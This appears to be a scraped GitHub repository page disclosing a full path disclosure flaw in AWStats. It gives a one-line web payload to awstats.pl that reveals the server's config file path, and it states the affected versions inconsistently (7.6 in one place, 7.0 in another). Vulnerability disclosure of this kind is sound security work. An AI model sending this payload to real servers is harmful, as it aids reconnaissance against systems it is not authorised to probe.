Skip to content

theyiyibest/AWStatsFullPathDisclosure

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

AWStatsFullPathDisclosure

Full Path Disclosure at AWStats 7.6 or minor versions

Full Path Disclosure vulnerability in AWStats before 7.0 or minor versions allows remote attackers to know where config file is allocated, obtaining full path of server.

PAYLOAD: awstats.pl?framename=mainright&update=123123123123

RESULT:

alt text

Found by: JuanRi Villén, Ruben Gutierrez and Yeray Fernández

About

Full Path Disclosure at AWStats 7.6 or minor versions

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published